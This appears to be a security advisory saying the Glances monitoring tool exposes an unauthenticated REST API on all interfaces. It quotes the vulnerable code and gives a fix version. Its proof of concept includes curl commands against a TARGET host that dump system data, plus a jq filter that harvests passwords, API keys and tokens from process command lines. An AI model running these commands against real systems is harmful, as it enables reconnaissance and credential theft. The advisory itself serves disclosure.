VDB
KO
HIGH

GHSA-wvxv-4j8q-4wjq

Glances exposes the REST API without authentication

Details

### Summary Glances web server runs without authentication by default when started with `glances -w`, exposing REST API with sensitive system information including process command-lines containing credentials (passwords, API keys, tokens) to any network client.

### Details Root Cause: Authentication is optional and disabled by default. When no password is provided, the API router initializes without authentication dependency, and the server binds to 0.0.0.0 exposing all endpoints.

Affected Code: - File: `glances/outputs/glances_restful_api.py`, lines 259-272

```python if self.args.password: self._password = GlancesPassword(username=args.username, config=config) if JWT_AVAILABLE: jwt_secret = config.get_value('outputs', 'jwt_secret_key', default=None) jwt_expire = config.get_int_value('outputs', 'jwt_expire_minutes', default=60) self._jwt_handler = JWTHandler(secret_key=jwt_secret, expire_minutes=jwt_expire) logger.info(f"JWT authentication enabled (token expiration: {jwt_expire} minutes)") else: self._jwt_handler = None logger.info("JWT authentication not available (python-jose not installed)") else: self._password = None # NO AUTHENTICATION BY DEFAULT self._jwt_handler = None ```

- File: `glances/outputs/glances_restful_api.py`, lines 477-480

```python if self.args.password: router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)]) else: router = APIRouter(prefix=self.url_prefix) # NO AUTH DEPENDENCY ```

- File: `glances/outputs/glances_restful_api.py`, lines 98-99

```python self.bind_address = args.bind_address or "0.0.0.0" # BINDS TO ALL INTERFACES self.port = args.port or 61208 ```

- File: `glances/plugins/processlist/__init__.py`, lines 127-140

```python enable_stats = [ 'cpu_percent', 'memory_percent', 'memory_info', 'pid', 'username', 'cpu_times', 'num_threads', 'nice', 'status', 'io_counters', 'cpu_num', 'cmdline', # FULL COMMAND LINE EXPOSED, NO SANITIZATION ] ```

### PoC

1. Start Glances in default web server mode: ```bash glances -w # Output: Glances Web User Interface started on http://0.0.0.0:61208/ ```

2. Access API without authentication from any network client: ```bash curl -s http://TARGET:61208/api/4/system | jq . ```

<img width="593" height="265" alt="image" src="https://github.com/user-attachments/assets/4ec461be-b480-46d5-88e2-f4004f4dae54" />

3. Extract system information: ```bash curl -s http://TARGET:61208/api/4/all > system_dump.json ``` <img width="688" height="547" alt="image" src="https://github.com/user-attachments/assets/7564fb2a-7d94-4c26-848a-03034214b8c7" />

4. Harvest credentials from process list: ```bash curl -s http://TARGET:61208/api/4/processlist | \ jq -r '.[] | select(.cmdline | tostring | test("password|api-key|token|secret"; "i")) | {pid, username, process: .name, cmdline}' ```

5. Example credential exposure: ```json { "pid": 4059, "username": "root", "process": "python3", "cmdline": [ "python3", "-c", "import time; time.sleep(3600)", "--api-key=sk-super-secret-token-12345", "--password=MySecretPassword123", "--db-pass=admin123" ] } ```

### Impact

Complete system reconnaissance and credential harvesting from any network client. Exposed endpoints include system info, process lists with full command-line arguments (containing passwords/API keys/tokens), network connections, filesystems, and Docker containers. Enables lateral movement and targeted attacks using stolen credentials.

Are you affected?

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Affected packages

PyPI / glances
Introduced in: 0 Fixed in: 4.5.2
Fix pip install --upgrade 'glances>=4.5.2'

References